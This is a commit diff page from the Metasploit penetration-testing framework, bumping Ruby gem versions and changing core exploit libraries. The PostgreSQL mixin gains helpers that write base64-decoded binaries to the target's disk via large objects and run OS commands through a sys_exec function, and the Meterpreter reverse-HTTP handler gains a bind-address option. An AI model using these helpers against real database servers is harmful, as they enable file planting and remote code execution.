Skip to content

Commit 1247275

Browse files
committed
Merge branch 'master' into bug/safari-metadata-version
2 parents eb972ea + dc4313b commit 1247275

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

46 files changed

+1739
-363
lines changed

Gemfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ end
2323

2424
group :test do
2525
# testing framework
26-
gem 'rspec'
26+
gem 'rspec', '>= 2.12'
2727
# code coverage for tests
2828
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
2929
gem 'simplecov', '0.5.4', :require => false

Gemfile.lock

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -12,46 +12,46 @@ GIT
1212
GEM
1313
remote: http://rubygems.org/
1414
specs:
15-
activemodel (3.2.8)
16-
activesupport (= 3.2.8)
15+
activemodel (3.2.9)
16+
activesupport (= 3.2.9)
1717
builder (~> 3.0.0)
18-
activerecord (3.2.8)
19-
activemodel (= 3.2.8)
20-
activesupport (= 3.2.8)
18+
activerecord (3.2.9)
19+
activemodel (= 3.2.9)
20+
activesupport (= 3.2.9)
2121
arel (~> 3.0.2)
2222
tzinfo (~> 0.3.29)
23-
activesupport (3.2.8)
23+
activesupport (3.2.9)
2424
i18n (~> 0.6)
2525
multi_json (~> 1.0)
2626
arel (3.0.2)
27-
builder (3.0.3)
27+
builder (3.0.4)
2828
coderay (1.0.8)
2929
diff-lcs (1.1.3)
3030
i18n (0.6.1)
3131
method_source (0.8.1)
32-
multi_json (1.3.6)
32+
multi_json (1.0.4)
3333
pg (0.14.1)
3434
pry (0.9.10)
3535
coderay (~> 1.0.5)
3636
method_source (~> 0.8)
3737
slop (~> 3.3.1)
38-
rake (0.9.2.2)
39-
redcarpet (2.1.1)
40-
rspec (2.11.0)
41-
rspec-core (~> 2.11.0)
42-
rspec-expectations (~> 2.11.0)
43-
rspec-mocks (~> 2.11.0)
44-
rspec-core (2.11.1)
45-
rspec-expectations (2.11.3)
38+
rake (10.0.2)
39+
redcarpet (2.2.2)
40+
rspec (2.12.0)
41+
rspec-core (~> 2.12.0)
42+
rspec-expectations (~> 2.12.0)
43+
rspec-mocks (~> 2.12.0)
44+
rspec-core (2.12.1)
45+
rspec-expectations (2.12.0)
4646
diff-lcs (~> 1.1.3)
47-
rspec-mocks (2.11.3)
47+
rspec-mocks (2.12.0)
4848
simplecov (0.5.4)
4949
multi_json (~> 1.0.3)
5050
simplecov-html (~> 0.5.3)
5151
simplecov-html (0.5.3)
5252
slop (3.3.3)
53-
tzinfo (0.3.33)
54-
yard (0.8.2.1)
53+
tzinfo (0.3.35)
54+
yard (0.8.3)
5555

5656
PLATFORMS
5757
ruby
@@ -63,6 +63,6 @@ DEPENDENCIES
6363
pg (>= 0.11)
6464
rake
6565
redcarpet
66-
rspec
66+
rspec (>= 2.12)
6767
simplecov (= 0.5.4)
6868
yard

lib/msf/base/simple/exploit.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -69,8 +69,7 @@ def self.exploit_simple(oexploit, opts, &block)
6969

7070
# Make sure parameters are valid.
7171
if (opts['Payload'] == nil)
72-
raise MissingPayloadError,
73-
"You must specify a payload.", caller
72+
raise MissingPayloadError.new, caller
7473
end
7574

7675
# Verify the options
@@ -81,7 +80,7 @@ def self.exploit_simple(oexploit, opts, &block)
8180

8281
# Initialize the driver instance
8382
driver.exploit = exploit
84-
driver.payload = exploit.framework.modules.create(opts['Payload'])
83+
driver.payload = exploit.framework.payloads.create(opts['Payload'])
8584

8685
# Set the force wait for session flag if the caller requested force
8786
# blocking. This is so that passive exploits can be blocked on from

lib/msf/core/db_manager.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -375,7 +375,6 @@ def update_all_module_details
375375
refresh.each {|md| md.destroy }
376376
refresh = nil
377377

378-
stime = Time.now.to_f
379378
[
380379
[ 'exploit', framework.exploits ],
381380
[ 'auxiliary', framework.auxiliary ],

lib/msf/core/exploit/postgres.rb

Lines changed: 64 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
# -*- coding: binary -*-
21
require 'msf/core'
32

43
module Msf
@@ -12,6 +11,7 @@ module Msf
1211
module Exploit::Remote::Postgres
1312

1413
require 'postgres_msf'
14+
require 'base64'
1515
include Msf::Db::PostgresPR
1616
attr_accessor :postgres_conn
1717

@@ -53,11 +53,11 @@ def postgres_login(args={})
5353
ip = args[:server] || datastore['RHOST']
5454
port = args[:port] || datastore['RPORT']
5555
uri = "tcp://#{ip}:#{port}"
56-
56+
5757
if Rex::Socket.is_ipv6?(ip)
5858
uri = "tcp://[#{ip}]:#{port}"
5959
end
60-
60+
6161
verbose = args[:verbose] || datastore['VERBOSE']
6262
begin
6363
self.postgres_conn = Connection.new(db,username,password,uri)
@@ -98,7 +98,6 @@ def postgres_logout
9898
def postgres_query(sql=nil,doprint=false)
9999
ip = datastore['RHOST']
100100
port = datastore['RPORT']
101-
verbose = datastore['VERBOSE']
102101
postgres_login unless self.postgres_conn
103102
unless self.postgres_conn
104103
return {:conn_error => true}
@@ -155,18 +154,17 @@ def postgres_print_reply(resp=nil,sql=nil)
155154
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
156155
# inferring version number from the failed authentication messages.
157156
def postgres_fingerprint(args={})
158-
postgres_logout if self.postgres_conn
157+
return postgres_authed_fingerprint if self.postgres_conn
159158
db = args[:database] || datastore['DATABASE']
160159
username = args[:username] || datastore['USERNAME']
161160
password = args[:password] || datastore['PASSWORD']
162161
rhost = args[:server] || datastore['RHOST']
163162
rport = args[:port] || datastore['RPORT']
164-
163+
165164
uri = "tcp://#{rhost}:#{rport}"
166165
if Rex::Socket.is_ipv6?(rhost)
167166
uri = "tcp://[#{rhost}]:#{rport}"
168167
end
169-
170168

171169
verbose = args[:verbose] || datastore['VERBOSE']
172170
begin
@@ -175,11 +173,13 @@ def postgres_fingerprint(args={})
175173
version_hash = analyze_auth_error e
176174
return version_hash
177175
end
178-
if self.postgres_conn # Just ask for the version.
179-
resp = postgres_query("select version()",false)
180-
ver = resp[:complete].rows[0][0]
181-
return {:auth => ver}
182-
end
176+
return postgres_authed_fingerprint if self.postgres_conn
177+
end
178+
179+
def postgres_authed_fingerprint
180+
resp = postgres_query("select version()",false)
181+
ver = resp[:complete].rows[0][0]
182+
return {:auth => ver}
183183
end
184184

185185
# Matches up filename, line number, and routine with a version.
@@ -264,7 +264,7 @@ def postgres_read_textfile(filename)
264264
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
265265
COPY #{temp_table_name} FROM '#{filename}';
266266
SELECT * FROM #{temp_table_name}}
267-
read_return = postgres_query(read_query)
267+
return postgres_query(read_query,true)
268268
end
269269

270270
def postgres_has_database_privilege(priv)
@@ -291,6 +291,7 @@ def postgres_create_sys_exec(dll)
291291
# This presumes the pg_temp.sys_exec() udf has been installed, almost
292292
# certainly by postgres_create_sys_exec()
293293
def postgres_sys_exec(cmd)
294+
print_status "Attempting to Execute: #{cmd}"
294295
q = "select pg_temp.sys_exec('#{cmd}')"
295296
resp = postgres_query(q)
296297
if resp[:sql_error]
@@ -300,10 +301,16 @@ def postgres_sys_exec(cmd)
300301
return true
301302
end
302303

304+
303305
# Takes a local filename and uploads it into a table as a Base64 encoded string.
304306
# Returns an array if successful, false if not.
305-
def postgres_upload_binary_file(fname)
306-
data = postgres_base64_file(fname)
307+
def postgres_upload_binary_file(fname, remote_fname=nil)
308+
data = File.read(fname)
309+
postgres_upload_binary_data(data, remote_fname)
310+
end
311+
312+
def postgres_upload_binary_data(data, remote_fname=nil)
313+
data = postgres_base64_data(data)
307314
tbl,fld = postgres_create_stager_table
308315
return false unless data && tbl && fld
309316
q = "insert into #{tbl}(#{fld}) values('#{data}')"
@@ -312,20 +319,48 @@ def postgres_upload_binary_file(fname)
312319
print_error resp[:sql_error]
313320
return false
314321
end
315-
oid, fout = postgres_write_data_to_disk(tbl,fld)
322+
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
316323
return false unless oid && fout
317324
return [tbl,fld,fout,oid]
318325
end
319326

320327
# Writes b64 data from a table field, decoded, to disk.
321-
def postgres_write_data_to_disk(tbl,fld)
328+
#
329+
# This is accomplished with 3 sql queries:
330+
# 1. select lo_create
331+
# 2. version dependant:
332+
# - on 9.x, insert into pg_largeobject
333+
# - on older versions, update pg_largeobject
334+
# 3. select lo_export to write the file to disk
335+
#
336+
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
322337
oid = rand(60000) + 1000
323-
fname = Rex::Text::rand_text_alpha(8) + ".dll"
324-
queries = [
325-
"select lo_create(#{oid})",
326-
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
327-
"select lo_export(#{oid}, '#{fname}')"
328-
]
338+
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
339+
340+
ver = postgres_fingerprint
341+
case ver[:auth]
342+
when /PostgreSQL 9\./
343+
# 9.x does *not* insert the largeobject into the table when you do
344+
# the lo_create, so we must insert it ourselves.
345+
queries = [
346+
"select lo_create(#{oid})",
347+
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
348+
"select lo_export(#{oid}, '#{remote_fname}')"
349+
]
350+
else
351+
# 8.x inserts the largeobject into the table when you do the
352+
# lo_create, so we with a value.
353+
#
354+
# 7.x is an unknown, but this behavior was the default before the
355+
# addition of support for 9.x above, so try it this way and hope
356+
# for the best
357+
queries = [
358+
"select lo_create(#{oid})",
359+
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
360+
"select lo_export(#{oid}, '#{remote_fname}')"
361+
]
362+
end
363+
329364
queries.each do |q|
330365
resp = postgres_query(q)
331366
if resp && resp[:sql_error]
@@ -334,15 +369,20 @@ def postgres_write_data_to_disk(tbl,fld)
334369
break
335370
end
336371
end
337-
return oid,fname
372+
return oid,remote_fname
338373
end
339374

340375
# Base64's a file and returns the data.
341376
def postgres_base64_file(fname)
342377
data = File.open(fname, "rb") {|f| f.read f.stat.size}
378+
postgres_base64_data(data)
379+
end
380+
381+
def postgres_base64_data(data)
343382
[data].pack("m*").gsub(/\r?\n/,"")
344383
end
345384

385+
346386
# Creates a temporary table to store base64'ed binary data in.
347387
def postgres_create_stager_table
348388
tbl = Rex::Text.rand_text_alpha(8).downcase

lib/msf/core/handler/reverse_http.rb

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,8 @@ def initialize(info = {})
153153
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
154154
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
155155
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
156-
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ])
156+
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
157+
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system'])
157158
], Msf::Handler::ReverseHttp)
158159
end
159160

@@ -176,10 +177,17 @@ def setup_handler
176177
comm = nil
177178
end
178179

180+
# Determine where to bind the HTTP(S) server to
181+
bindaddrs = ipv6 ? '::' : '0.0.0.0'
182+
183+
if not datastore['ReverseListenerBindAddress'].to_s.empty?
184+
bindaddrs = datastore['ReverseListenerBindAddress']
185+
end
186+
179187
# Start the HTTPS server service on this host/port
180188
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
181189
datastore['LPORT'].to_i,
182-
ipv6 ? '::' : '0.0.0.0',
190+
bindaddrs,
183191
ssl?,
184192
{
185193
'Msf' => framework,

0 commit comments

Comments
 (0)